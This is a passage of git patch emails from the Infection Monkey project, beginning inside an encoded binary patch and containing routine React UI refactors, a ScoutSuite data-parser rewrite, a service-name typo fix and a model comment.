zN(c}_5)pw_kf`(;l_oV(BLM;|YCs^N2M7=psUZXiNg(w^-}ijJ-#6c1XU=>xXXgBu z`AsJCB)Qvj-`92Bhi3(@`tn)70f8R0wa1qZ^EW}}MxSGjyv|Jjl~8S*d+a0{u=So` zzR!RAz*?Er9j^7Ey*d@_caGM~Lw*ugZqsmgIy7{EpjvBNxRMctGQ7aof@U2({5sQ{ z0;ma5&6~jPc`hw6a`_5JR_C$TqpuG9s~z-T%xU0&8g{8L1)2-;HGR5vaHa6d*QNdv z@47=eE-A9?yp?93V2Kv()E%XqoJ!a*137x)OiRPa$*P@kXP)2^)r`;z;W)?AcI!X? z`c<+8_)#`4+Z<6@Z{5rE2~N8g;dt49ro(RJU5BABt=++n)4kPYvSB|$2~Ml^c+oQ+ zU_^ALXoPGT$YG1231`eB$``|{ES583nak1=Od zd9R=6-8YKl9e_nMm9|D{-HzFZukklq9E$>Tv~Thw8w2Rk&T=~2;F8C?hxC_`rXT6m zSBGZ6NT>tnj&6&p7mJi|gxp{0ep#?_kh46bw_$N?rq@VtOC{zys8aXp zB0M6^kicNd3@$NFwD#ga8RV`ikZorR)`hRGNd_4lcT)Ujg%51^{jiPTIcdh#zhqLs zZ%~lzD0uxNwf^6(24vaNLEpXLLC(P+2l!Va-S)kv`7cfJ|Nm^;|IzOf&%VN6)efc3 zW1cH>dfgPxwt|As1N~_yJmTLmAKZ2`?^OC&1S^NraCeE52Qy>l^w z;B*-}hPxkd{C5olS)`*G%Du(R9G&4S4Xy{ggRLPSMmMRDO4|u{lvz`P>cH&#O;%Jv zHG=PRzqTslDcNV@;SUqaphz=f(6g0Gs$QRPA3KA1=Hz+iGfkAX>#+)hbDF|;z`YCO zDpL7Qs;aw}sm_OAe^q=PT^CR-xI1~4f9%(J|D4;vwIm(4nvnTv|CxJoY$(6ck^j}d zlk(ZxcQ1e1tg)0<9vV&Sz2Tdu<}~I*+uP-~`VO=rTBOQ^Jzg&8{SZn`>Ro@1;1}O7 zcYo8k53JEq>Ny!Pyj4g-A!||X+V~u^ zW_Hyy^&|mPXFRqw$_N$XZN=!+O`}MNWHj=>^V5`Zok2ubZpfs1!D*m!&I#Kt^9VD&8s~s)6`TEbwQEgx z;ia1$2B+KAn7Ix=tb6oFfjB#Vg~~HEDvPWQ^Wr7uD}~><_LtTsV*an;Ucwq`*r@Nc zMzoNVbN;R5t1a3WgKc#g=xLq!SwU~C?QDzx+xf_R3kq$__-0ElL0M@L`No zPN2&s2%Z~H_1?fKKD)#ixpEfBQwOA}(C}A^8^r?ywh@|~zXRnAK4#GZVV_?z6I1Z zG5CC4&NHg)VH$5C2=B&D2CnTI?HvY&Yk0; z%g`svzbZAIZx|A$3QYL@?dP)YapsTI42rv_mwot}j*ZCakK>oSA9i&imdC)0?~^U+ zYeU>FEtUIkRe?!<6kxYLY?SEf`zdPWMe^ubrbxZYj@XOLSN^Km4>ZO$grw`CAPL#Q z70uJRzvi=`Nl8Lvo7RLKQf-{Lco!q@%zZS$%;ie1yuUYD9^2%W(4lGU<751Vznm$1 zDz-*td)W=v&JjAZmmCqzEv`cp^W=D->2E|_N0$( z%4fkrUVHQvFxPSRJ)PWn1?34O%9o@KERCCw(1S6#qs>k$I2;jj!0m4a^MTY)E8ItJ zr27=sy{F_(BMv<1^=^nq&~$3W*|3pYxU%EeWb37d-C9(f(+PEjG~ZTe(*!f%ql~0V zjLtjAZXsE>Bmk$wY!_2o@<{jnAg#cs`yy?-qX}O_57-&+cseBI0#I-}3;dIGwxxMb z{`D1rc*`reoP3IH+%&fjE{JJk9A125nNRMrV_|I|q@9T1vm#Ib7S;TWF3kC-wEd zz<{`^a?cf}X3YG}Vu~qdh(rLba1h`DE1XRny|9Cj_iG3DV-M!M3tsB)C4N!1@fzW0 zAD}nSIMXH`igTB3rybSGqno9(>q(_JBkbZ!N^Ux%{y76G_uj}BV&#Tu8gnmCKTO+K zL(n}RtLKx?l;z2Xqimbbg$TnclGcSv?Zb#f@1Z}~dcJdvXj=%`990r+c4C5fv9~eH zk0z%Vt=qY&=rc&0%;kF1Hv!hH>>C5~l$WhiWz3(3Z4IAA<~w64_NaLnCsse4o64x= zz(!}7;^-P0x+7ZkKrJnIhIG1+GZ(J+#3jM=&uK8=es@;!Wcpk=={lH z_`K0}>j$y`bYsfAx9)+}xkWtwu`IB(+kFR1Ck;6-mR-oK&JlY38&PM0Byi}WVJP@+4^ zRM>Vt{gS^z)giYu^dZMCVbm$|`{rf94)3Ks+~u^;tBjINm*9)E4|}M?1!+FQW6Q>p z9^g_DYv5+FnAdEVTxj$c2i=(#Br^!Sx0_c8EgFwEW$sE_rURO7&i1U` zRX^W^nNv<`oMtSY6Nth?FumgZ!yI`oP-9XcNvbIB?NSzl4d^!FmT?p8>0goT693p2! zvFJ%Y&+2(-vWtX(NF^BGS&2w4<+HyC?wd6*?CvG#b{BUn)fYN0mI+<#<~`PH{~mV~ zQ9AFE_Dx<&XN_N?54x*DHUQ9fQ=a;loiPq1dK-$m3}72;&c#^3x?v$YOoyq9{iul! zL^_WorLrKX{+Q=fI(2^d$Z!J@Z`0-4G(2A^jNA{As2_j!^35Br9(bKM`M^FD77zU~D|gp-dV zrE85-K!ceQ%`OA&=F>+Z$b+1w>7s%fzgk{!*5~FrPDjM-m>K&-AI*flRmpk$GiQ^} zO=(p4V&L(Y&?l4fF|ZWsF6Br|-&H{T^bo|M-)W6d#HQe6LfA^A3$;O|v{viH47jkh z!?r6Mo}y&)iH}O>VoVU~_xk>=x}u!QXt9gCkiF3`-{Kx%dj^9SiydF+>vtc zCnd8M8xd@b30W5WQ@K3uCMPjKU$#S;=9PSYe%rpltjw4Nan z`jD_DiYfiJoi^fYyS0H7Y4zTf_|JQ=C1b#|{J)KDL@PUX51}Jz96EbdwD%A!X&Lb~ z#G@!Hh{cSRIE*4Y_VPk>=Z3NyoL+*1e+;^TYJXoZ9lT06?lZZB?O#f$LJTe^q;j?B zh9}Y@jpk}v5!mg$VkFNm?o5V6byIUB4giVnX$%_0`buDaxPw(+|A;dKD(?GLx( z&`-^_SYo8|XJpzU2#<_*$Iw5w_7$T;;>rD~-fI8^^a59#vP}=I}g2{F1@!WPOT-G6Eu%DvO0B7^uUx6!3AgM2vc~9 zUUS+m3|+Wu3tw;9*KcXp=*yWRCM(3;%qNeT;!gpeH;|>jUA}g4eGze|2oNJGFB?{(M&)KpvBo>M zpnkoBd;`5?sD-Fkd$bn_;J^PT{{pc;GS0wZbE+GKm ztw-XcnT}S^7DWd%>1m=CwV_7u5Z6!K5Tnb_#LbsjmYm~vlONNK^jUn{Rbvtdv@h2D zM@uZ{?A0|?JF8X^MSUbwQ2Vs?^-l0r`<{%xJuhUnm)Visx~+9&To(HlFiDb_OjcU2 zhr09%dJ$R{z2w>{5%k8YaA98)Hk$ecqb`&t4M8u0-yV_WRRHWwdOz6j65h2$#pp%? z$9wQw>gwZM74@Vz7x6|n_qsN=O&CiQ@JJnc(w)PIAK|Q;X{ug+`Z6D+-678!XWP@&evyZMloy#E^WC-){ zVnO!-L^27~p`4NX$}M{S z0Q(Iy*Lt-Q7ePyirmZr8DhtQmja*c?3wI#1IkVS&8)VC6-jPbXwKnR;rYt45EW-79 zQNVqO(g3P@Oy!T9nl)q9UOb-zX%K#$yln6DT&O56!St3Z#MPiSd#t>JBj&3n4WePo8tK2p6flI3)0WY|@d-WBS zIC&uku{7(E8v zoa0a%L#5#+TjxqT$TZK@hx(9!azz!+tQ@MY_pg{2cEE#+ra0GYrE3w6e@{zxN&IW3 zq5%MmOQyQ18p!Qh$e3Z!s@JAzNv1}094(DMEIUfw_@GAvXY;dKa}Nr(Gx;9VU=7!4 zbnQ+!f{ovqD&7;bbv_a*mJZ(%X`N%Bw+AQy%4+A2goC%{=EX1M-&vcVx96qV+zHLf z2WZOe60B-nuy}|}@}`o*9TlsJHx%ekT7=dKF5)oYZp45*x(#sBXZ#i5NP-^NeuP%_ za?AfLJ!j?jqHjh>4)Z|Y%0?6x(QMoKL$!j@vwm-oro|KV4cRIa zRSl<$7MPYBW0JeM`(ko+7B}-;0RGhqGnFk3`(~J*BYlc6bpJe`5$dH7gu$B+FU;H4 zE35R~DqUrW$^v>1-_Z4q#1?y_QZNc=U5k>CPAWjwpuc zTYM~kn&_QMIKI%l_AyNM5p z3K8(v%XE5%xqFh7(tX5EM6aagyG$9fXrItI8!sMc(YQgmHFn!QkoSQi+YzAs)c5Ci zBtPSbjk*=e-Au~E;JBQHr~&-pEW$Nc4)f_4&~cyw-pBVF7p79VCYBtiExb8(c^?1b z^Sk({-Z(^%7Yr1Y3ESOFJ2M5{A6dD3Z!|`loqsvgvv@=^gXzaO?_GgM1=fqLwI=m^ znXzLwmOU?Le!fR5YBt+Jn!U*M@B!{th~1zw_Zqei$jcg4`nu0G=Uw3b_R*&1To3Z1 zDYDqRC5V;l=|ST|-+ZB)QvRIUAw}#ADqyAnZmSYq_d$b;sFy$RlEMk-#fyE^$zm}( zZB6KV5tDda=0CL!ToG&Xvvlm`o9P-AFL1N_~nM*N4xethQ1FwBPv z&rjeT_-HTojX(rU`nbH-5U&JGFwchVS_#o+^r0UsQ@4(t@kR_PlngN_^v`+fUo}6y zZ5?EmOe30=*}3+iQ$eCucsBpc#F1I#o6{GN`bbwpo-{Qok&y zm+*7qnQkY0G`j`Dwhw+W#$2M7H6wxv-f*QJ8>*o;*?6E6LL}B!{BY`f?92H`W4M;J zA#!|#?7FU?3VVJ)h2XAz&Vq-Dng=)b!q+u&6!jPfo|6;2>x&#p<$+=@GFdUDaDeBw z7aHt69uDt0I;fDPn$)m~zVVR-q#Bz|{ae)20F2L>jxn^(xyrga6W*TYrCMuClVyzu zubIUI{ImVs^Tx%2tD}3z2)~zT^=3=e9?TEaUDUmx`V-IWGWhlm-pWDk(-v)n69UPS za}$l&P2_v8UpADL-vK^Xc)mWvd)V&8HMacON7x};y}|8JS|!G3g)b0)YZrB25<4l% z6;*`bXHxOPD5K`VI72fzq}%tXrc*6wYgJoL86Q(3fyIK51-j^s;mM0H%V5mV-fl^$ z2WjUehKV!JeC9;>*}FhD0GXZzb}OTkpiB#Bnlr6MtXuW@TTaZ)jSHl!gK) ziS$cki7P=dSHzl`jXPIQsG9ki1HHV-#ea)$Q^J!g(Kie<0JVyb6Tdbb77peZPv)_? z8s~??&&)ln%O*uA`goB$s76nO_;7`sHsQ%H+NzBpKT+9;SkIq4$Uh<1qvz2QJ{jA( zr$+qX@0~yS{JB`2-`775EJdv5u#~$q&x`>r?YZDpB&SyWSup~zhLJVP_LT5FZ$y5;jD|@z5b@#Tcaxn*nSMTMSDVs&h^GS-Qd-d!L6(cf>R&U@ICDXt z0(68C>pe`5k#+lz;Qa=tpNQqJL)9tlO0EmU1x-QJ-Xpc? z^8mieK_i<)ZRW-KJNTg5MP?k{QbXa(CQw;G{Efv&*B^8S^T!CPzv}#35Tjq=`%^6% zX<>3VRqBak%Vj%E8G82pXT(6C530YH6E`d>Z?A^vS_Whwk(e-fY>INYl&o0xA1q~+ zS&in2T$3l1tSwN>gepJ*oNHgPW3?wO|spi zWXa3{eY$m{Sn%u?t6%o$NUq)BJAz;dkWyfVa?GDZSQu*&N#opraG3bq#X)rOZvo>? zC_H&%3+@n<;sO2z^wu>GutX@&AX#1+i)>`LrpXbl`>4;>l}W10ypoC(a6ACk4&2N7 z(@JIotqoPTs!ENwUvj%hz3=WqAL$~6RW{p==uY0>f8_NUkK|kNfcuMF`&DCWHQIqE zrS2IyHd&B$|K;Yb?y>%*`fRqqI!pXCdeRm65_&h#$H9IrQ|G;cIKJ)v#3 zawAs?U`d|?NC+6*W^i1Tb?ys)A@b$?QOkTsE@~3+`jH{ge#&yF@s&n!RV}w=Ydf|9 zQZ>%?;}b@@dBGM^`U+l27BC~apLQ5Ol@nbf4h7}m@@IZt|EIsq~J z63eUNsD$xDAFQ}D6Q=HLe0~8qLeddZMj(kp^t;y8NyGD1^vvC@s=TT0n!t=jvCx&= z>B=K#49@@*Xlf9V8Pk{B;LO?pPn_t{d!-S%2ni%_*IPbxR0#4j5F5sq9 z*vmigS0S8NV?=)iu}`(m8|Go&rJP9Yc&=OcC(%AO;WHIw(Fcq6nninC7mTmG-`Yyb zj)+hHAY%P}9hCm+U;f$aRw%5R07oX27-at=i=Z1XaMQb0$<0F?*q~dW_T(6jNNAIj zwn_x);?6Y#ta8t{9>tZGxzq~m(?F)~_8xj05}-|k_3|@a#P>>0p1-hJpKY4wIo5h) zR4~6HaobF$ALsY$kI9C7?elu4U(^Rl+GN#JC)x9OecejRTNmKGP-!~y(RhT2Q8%Bm zK6#1`�s3QksXPqZ{!Lx$(0|8Z*RSR}GYPd#ec6}09;e7dC)B-~$@)nC)DN3CxF-+J<2n89Y3s3FHh}jd)vh(SYZZ`R@L>CAYoD15OPEm|~i$ z{EE|qGbGVCGxuD~<`n6MTtfl?qWW<_jD) z!i_dA&~uxEl3LWC`cGAPo)F|Oz%{xXKpZ`fr*KWPkH}VwDc*JQrOIzr|87ub?^f>3 zss>6a)FQcFljkb^2I_Bbe#5AkgPE5;bHHF4>f$rTf7dQle93u^WI|f)cQP=`%#+(O zySC4-ne+3XC&+k8FHl}UZHkVrik@>I=C*VsBR=|q6aR*7!3z1$U=^>;spCtK4^tYC zxheOcR-`gk*Knxv5c1Oo;$mJdfi-TLOCKB29SR_&uYDUqWW^h+cX8v^)}M(DLgFc9 zj-AY%E`5y#nV#v3@a(~-87Q@jN22vnk$0K%*5)9Z{RXTAU63`Nz7pv*7GXlonrkvC z=3X=>2E&_AvNi)tM=*Lzf*Y`wrk(jyLu zkAO#-{-QF7G_XUO`&*hY{Bxozfzx^v#dQ?Yhkx){FjZ!Q{~#*=(EVk&d<^lo4n8`4 z3vvq=Y>)AUv|MEOeQSLv% zil;Ce&)50cz-boxO6g( zt>C)<$#-0m)RAj;r;mJ>`EtrU^Fk}@yF^>t-&dcfcKwrGdF=F)LaWo?S$J$^zYgSf}Po=tiD{r^$3`sGHJ)prcuG;MN+xArZ`fc(IxZ=ZkTn$6WJ)4LD<7n0XE AYXATM From 94b87f8d9a1a38b6e5440fb48e1b27a5c627af21 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 12 Jan 2021 15:59:16 -0500 Subject: [PATCH 108/466] ui: Remove unnecessary call to getDefaultPaneParams() --- .../cc/ui/src/components/ui-components/AdvancedMultiSelect.js | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index c418a20c6..e303a6bc1 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -113,12 +113,10 @@ class AdvancedMultiSelect extends React.Component { disabled, readonly, multiple, - autofocus, - registry + autofocus } = this.props; const {enumOptions} = options; - getDefaultPaneParams(schema.items.$ref, registry); return (

From 73dd8ddcc97da1156fa09793051ffec6651d8d40 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 13 Jan 2021 07:35:03 -0500 Subject: [PATCH 109/466] ui: Minor readability and style changes for AdvancedMultiSelect --- .../ui-components/AdvancedMultiSelect.js | 33 ++++++++----------- 1 file changed, 14 insertions(+), 19 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index e303a6bc1..5dca8e86e 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -41,6 +41,8 @@ class AdvancedMultiSelect extends React.Component { constructor(props) { super(props) + this.enumOptions = props.options.enumOptions; + this.state = { masterCheckboxState: this.getMasterCheckboxState(props.value), infoPaneParams: getDefaultPaneParams(props.schema.items.$ref, props.registry) @@ -52,10 +54,10 @@ class AdvancedMultiSelect extends React.Component { } onMasterCheckboxClick() { - let newValues = this.props.options.enumOptions.map(({value}) => value); - - if (this.state.masterCheckboxState == MasterCheckboxState.ALL) { - newValues = []; + if (this.state.masterCheckboxState === MasterCheckboxState.ALL) { + var newValues = []; + } else { + newValues = this.enumOptions.map(({value}) => value); } this.props.onChange(newValues); @@ -87,11 +89,11 @@ class AdvancedMultiSelect extends React.Component { } getMasterCheckboxState(selectValues) { - if (selectValues.length == 0) { + if (selectValues.length === 0) { return MasterCheckboxState.NONE; } - if (selectValues.length != this.props.options.enumOptions.length) { + if (selectValues.length != this.enumOptions.length) { return MasterCheckboxState.MIXED; } @@ -107,8 +109,6 @@ class AdvancedMultiSelect extends React.Component { const { schema, id, - options, - value, required, disabled, readonly, @@ -116,19 +116,17 @@ class AdvancedMultiSelect extends React.Component { autofocus } = this.props; - const {enumOptions} = options; - return (
- { - enumOptions.map(({value, label}, i) => { + this.enumOptions.map(({value, label}, i) => { return ( - {title} From 7b60d4d2e60ad4e4e8c04c51a5d34c1353a49f86 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 13 Jan 2021 11:03:13 +0200 Subject: [PATCH 110/466] Refactored ScoutSuiteDataParser.js to improve the readability of scoutsuite data extraction process temp --- .../zerotrust/scoutsuite/RuleDisplay.js | 30 ++-- .../scoutsuite/ScoutSuiteDataParser.js | 132 +++++++++++------- 2 files changed, 99 insertions(+), 63 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js index 7b4e8f3bd..ac267e193 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js @@ -17,8 +17,8 @@ export default function RuleDisplay(props) {

Resources checked:

{props.rule.checked_items}

- {props.rule.references.length !== 0 ? getReferences() : ''} - {props.rule.items.length !== 0 ? getResources() : ''} + {getReferences()} + {getResources()}
); function getReferences() { @@ -30,11 +30,13 @@ export default function RuleDisplay(props) { rel="noopener noreferrer" key={reference}>{reference}
) }) - return ( -
-

References:

- {references} -
) + if (references.length) { + return ( +
+

References:

+ {references} +
) + } } function getResources() { @@ -46,13 +48,15 @@ export default function RuleDisplay(props) { resources.push() + key={template_path + i}/>) + } + if (resources.length) { + return ( +
+

Flagged resources ({props.rule.flagged_items}):

+ {resources} +
) } - return ( -
-

Flagged resources ({props.rule.flagged_items}):

- {resources} -
) } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js index 452a9e321..729499dec 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js @@ -3,72 +3,104 @@ export default class ScoutSuiteDataParser { this.runResults = runResults } - /* - itemPath contains path to a specific value e.g. s3.buckets.da1e7081077ce92.secure_transport_enabled" - templatePath contains a template path for resource we would want to display e.g. s3.buckets.id + /** + * + * @param itemPath contains path to a specific value e.g. s3.buckets.da1e7081077ce92.secure_transport_enabled + * @param templatePath contains a template path for resource we would want to display e.g. s3.buckets.id + * @returns {*[]|*} */ getResourceValue(itemPath, templatePath) { let resourcePath = this.fillTemplatePath(itemPath, templatePath); - return this.getValueAt(resourcePath); + return this.getObjectValueByPath(resourcePath, this.runResults); } fillTemplatePath(itemPath, templatePath) { let itemPathArray = itemPath.split('.'); let templatePathArray = templatePath.split('.'); - let resourcePathArray = templatePathArray.map((val, i) => {return val === 'id' ? itemPathArray[i] : val}) + let resourcePathArray = templatePathArray.map((val, i) => { + return val === 'id' ? itemPathArray[i] : val + }) return resourcePathArray.join('.'); } - getValueAt(path) { - return this.getValueAtRecursive(path, this.runResults) + /** + * Retrieves value from ScoutSuite data object based on path, provided in the rule + * @param path E.g. a.id.c.id.e + * @param source E.g. {a: {b: {c: {d: {e: [{result1: 'result1'}, {result2: 'result2'}]}}}}} + * @returns {*[]|*} E.g. ['result1', 'result2'] + */ + getObjectValueByPath(path, source) { + let key; + + while (path) { + key = this.getNextKeyInPath(path); + source = this.getValueForKey(key, path, source); + path = this.trimFirstKey(path); + } + + return source; } - getValueAtRecursive(path, source) { - let value = source; - let current_path = path; - let key; - // iterate over each path elements - while (current_path) { - // check if there are more elements to the path - if (current_path.indexOf('.') != -1) { - key = current_path.substr(0, current_path.indexOf('.')); - } - // last element - else { - key = current_path; - } + getNextKeyInPath(path) { + if (path.indexOf('.') !== -1) { + return path.substr(0, path.indexOf('.')); + } else { + return path; + } + } - try { - // path containing an ".id" - if (key == 'id') { - let v = []; - let w; - for (let k in value) { - // process recursively - w = this.getValueAtRecursive(k + current_path.substr(current_path.indexOf('.'), current_path.length), value); - v = v.concat( - Object.values(w) // get values from array, otherwise it will be an array of key/values - ); - } - return v; - } - // simple path, just return element in value - else { - value = value[key]; - } - } catch (err) { - console.log('Error: ' + err) - } + /** + * Returns value from object, based on path and current key + * @param key E.g. "a" + * @param path E.g. "a.b.c" + * @param source E.g. {a: {b: {c: 'result'}}} + * @returns {[]|*} E.g. {b: {c: 'result'}} + */ + getValueForKey(key, path, source) { + if (key === 'id') { + return this.getValueByReplacingUnknownKey(path, source); + } else { + return source[key]; + } + } - // check if there are more elements to process - if (current_path.indexOf('.') != -1) { - current_path = current_path.substr(current_path.indexOf('.') + 1, current_path.length); - } - // otherwise we're done - else { - current_path = false; - } + /** + * Gets value from object if first key in path doesn't match source object + * @param path unknown.b.c + * @param source {a: {b: {c: [{result:'result'}]}}} + * @returns {[]} 'result' + */ + getValueByReplacingUnknownKey(path, source) { + let value = []; + for (let key in source) { + value = this.getObjectValueByPath(this.replaceFirstKey(path, key), source); + value = value.concat(Object.values(value)); } return value; } + + /** + * Replaces first key in path + * @param path E.g. "one.two.three" + * @param replacement E.g. "four" + * @returns string E.g. "four.two.three" + */ + replaceFirstKey(path, replacement) { + return replacement + path.substr(path.indexOf('.'), path.length); + } + + /** + * Trims the first key from dot separated path. + * @param path E.g. "one.two.three" + * @returns {string|boolean} E.g. "two.three" + */ + trimFirstKey(path) { + if (path.indexOf('.') !== -1) { + return path.substr(path.indexOf('.') + 1, path.length); + } else { + return false; + } + } + + } From b90f6587c1311c18195d8c9a4a7e469fd962e347 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 13 Jan 2021 16:52:23 +0200 Subject: [PATCH 111/466] Reverted resource value display to show "False", because for IAM rules it makes sense and expresses if it the rule is enabled or not. --- .../zerotrust/scoutsuite/ResourceDropdown.js | 18 +++++++----------- 1 file changed, 7 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js index 001aa4ef7..81aee324e 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js @@ -43,7 +43,7 @@ export default function ResourceDropdown(props) { for (let i = 0; i < path_vars.length; i++) { display_path.push(path_vars[i]) if (i !== path_vars.length - 1) { - display_path.push() + display_path.push() } } return display_path; @@ -54,16 +54,12 @@ export default function ResourceDropdown(props) { } function getResourceValueDisplay() { - if (resource_value) { - return ( -
-

Value:

-
{prettyPrintJson(resource_value)}
-
- ); - } else { - return ''; - } + return ( +
+

Value:

+
{prettyPrintJson(resource_value)}
+
+ ); } function getResourceDropdownContents() { From 87dafeb440bf2924f616675c1e5e47ce61e3c12f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 13 Jan 2021 17:57:54 +0200 Subject: [PATCH 112/466] Refactored scoutsuite rule count badge readability. --- .../zerotrust/scoutsuite/ScoutSuiteRuleButton.js | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js index 97c5f861a..c22c54a96 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js @@ -27,18 +27,27 @@ export default class ScoutSuiteRuleButton extends Component { hideCallback={this.toggleModal} />
); } createRuleCountBadge() { - const ruleCount = this.props.scoutsuite_rules.length > 9 ? '9+' : this.props.scoutsuite_rules.length; - return {ruleCount}; + } } +function RuleCountBadge(props) { + const maxRuleCountToShow = 9; + const textForMoreThanMaxRuleCount = maxRuleCountToShow + '+'; + + const ruleCountText = props.count > maxRuleCountToShow ? + textForMoreThanMaxRuleCount : props.count; + return {ruleCountText}; +} + ScoutSuiteRuleButton.propTypes = { scoutsuite_rules: PropTypes.array, scoutsuite_data: PropTypes.object From 2dfcbb49d44e73997da6a49d7437822ec435903f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 14 Jan 2021 11:59:57 +0200 Subject: [PATCH 113/466] Minor refactoring and typo fix --- .../zero_trust/scoutsuite/consts/service_consts.py | 2 +- .../rule_path_creators/cloudtrail_rule_path_creator.py | 2 +- .../zerotrust/scoutsuite/ScoutSuiteRuleModal.js | 7 ++----- 3 files changed, 4 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py index e3cd005b9..ac5209b45 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py @@ -8,7 +8,7 @@ class SERVICE_TYPES(Enum): ACM = 'acm' AWSLAMBDA = 'awslambda' CLOUDFORMATION = 'cloudformation' - CLOUSDTRAIL = 'cloudtrail' + CLOUDTRAIL = 'cloudtrail' CLOUDWATCH = 'cloudwatch' CONFIG = 'config' DIRECTCONNECT = 'directconnect' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py index 1a8336629..2f626dfd5 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py @@ -6,5 +6,5 @@ from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_buil class CloudTrailRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CLOUSDTRAIL + service_type = SERVICE_TYPES.CLOUDTRAIL supported_rules = CloudTrailRules diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js index b7f212278..fd7fa3851 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js @@ -12,11 +12,8 @@ export default function ScoutSuiteRuleModal(props) { const [openRuleId, setOpenRuleId] = useState(null) function toggleRuleDropdown(ruleId) { - if (openRuleId === ruleId) { - setOpenRuleId(null); - } else { - setOpenRuleId(ruleId); - } + let ruleIdToSet = (openRuleId === ruleId) ? null : ruleId; + setOpenRuleId(ruleIdToSet); } function renderRuleDropdowns() { From cd9d2904c5293db76805a8ab9d6760788794a723 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 14 Jan 2021 12:02:38 +0200 Subject: [PATCH 114/466] Added comment explaining why finding details are in a separate documents to discourage uninformed refactoring in the future --- monkey/monkey_island/cc/models/zero_trust/finding.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index 4b3093545..b9aefb42a 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -37,6 +37,9 @@ class Finding(Document): test = StringField(required=True, choices=zero_trust_consts.TESTS) status = StringField(required=True, choices=zero_trust_consts.ORDERED_TEST_STATUSES) finding_type = StringField(required=True, choices=zero_trust_consts.FINDING_TYPES) + + # Details are in a separate document in order to discourage pulling them when not needed + # due to performance. details = GenericLazyReferenceField(choices=[MonkeyFindingDetails, ScoutSuiteFindingDetails], required=True) # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance meta = {'allow_inheritance': True} From a818025f63935955597a8d494158712a0bc347fe Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 14 Jan 2021 12:05:13 +0200 Subject: [PATCH 115/466] Typo fix in service_consts.py --- .../cc/services/zero_trust/scoutsuite/consts/service_consts.py | 